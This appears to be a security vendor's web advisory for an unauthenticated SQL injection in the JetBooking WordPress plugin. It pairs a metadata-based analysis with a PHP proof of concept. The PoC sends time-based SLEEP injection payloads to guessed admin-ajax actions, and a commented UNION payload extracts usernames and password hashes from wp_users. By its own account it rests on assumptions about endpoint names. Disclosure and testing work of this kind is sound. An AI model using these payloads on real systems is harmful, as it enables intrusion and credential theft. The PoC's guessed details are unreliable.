Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-3496: JetBooking <= 4.0.3 – Unauthenticated SQL Injection via 'check_in_date' Parameter (jet-booking)

CVE ID CVE-2026-3496
Plugin jet-booking
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 4.0.3
Patched Version
Disclosed March 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3496 (metadata-based):

The vulnerability is an unauthenticated SQL injection in the JetBooking WordPress plugin. The CWE-89 classification confirms improper neutralization of special elements in SQL commands. The description states insufficient escaping and lack of sufficient preparation on an existing SQL query involving the ‘check_in_date’ parameter. This allows attackers to append additional SQL queries to extract sensitive database information.

Atomic Edge research infers the attack vector likely targets a public-facing AJAX handler or REST endpoint. WordPress plugins commonly expose booking availability checks via wp-admin/admin-ajax.php with an action parameter derived from the plugin slug. The ‘check_in_date’ parameter suggests a date validation or availability checking function. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) confirms network accessibility, low attack complexity, no authentication requirement, and high confidentiality impact with no integrity or availability effects.

The root cause is confirmed as missing parameter sanitization and improper query construction. The plugin likely uses user-supplied ‘check_in_date’ values directly in SQL statements without using $wpdb->prepare() or proper escaping functions like esc_sql().

Exploitation requires sending a crafted HTTP request containing malicious SQL payloads in the ‘check_in_date’ parameter. Attackers can extract sensitive data including user credentials, booking records, or other plugin-specific information. The fix in version 4.0.3.1 likely implements proper parameterized queries using $wpdb->prepare() or adds rigorous input validation and escaping.

Impact includes complete database disclosure to unauthenticated attackers. Successful exploitation could compromise all data stored by the JetBooking plugin and potentially other WordPress tables accessible through UNION-based injection.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3496 - JetBooking <= 4.0.3 - Unauthenticated SQL Injection via 'check_in_date' Parameter

<?php
/**
 * Proof of Concept for CVE-2026-3496
 * Assumptions based on metadata analysis:
 * 1. The plugin exposes an AJAX endpoint at /wp-admin/admin-ajax.php
 * 2. The AJAX action parameter contains 'jet_booking' or similar plugin slug
 * 3. The 'check_in_date' parameter is processed without proper sanitization
 * 4. The endpoint does not require authentication or nonce verification
 */

$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';

// Common AJAX action names for JetBooking plugin
$possible_actions = [
    'jet_booking_check_availability',
    'jetbooking_check_availability',
    'jet_booking_availability',
    'jetbooking_availability',
    'jb_check_availability'
];

// Basic time-based SQL injection payload for MySQL/MariaDB
// Using SLEEP() to confirm vulnerability without data extraction
$payload = "2024-01-01' OR SLEEP(5)-- ";

foreach ($possible_actions as $action) {
    $post_data = [
        'action' => $action,
        'check_in_date' => $payload
    ];
    
    echo "Testing action: {$action}n";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    
    $start_time = microtime(true);
    $response = curl_exec($ch);
    $end_time = microtime(true);
    
    $elapsed = $end_time - $start_time;
    
    if ($elapsed >= 5) {
        echo "[+] Potential SQL injection confirmed with action: {$action}n";
        echo "    Response time: {$elapsed} secondsn";
        break;
    } else {
        echo "[-] No delay with action: {$action}n";
    }
    
    curl_close($ch);
}

// Example UNION-based payload for data extraction (commented for safety)
/*
$union_payload = "2024-01-01' UNION SELECT user_login,user_pass FROM wp_users-- ";
$post_data = [
    'action' => 'jet_booking_check_availability',
    'check_in_date' => $union_payload
];
*/

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School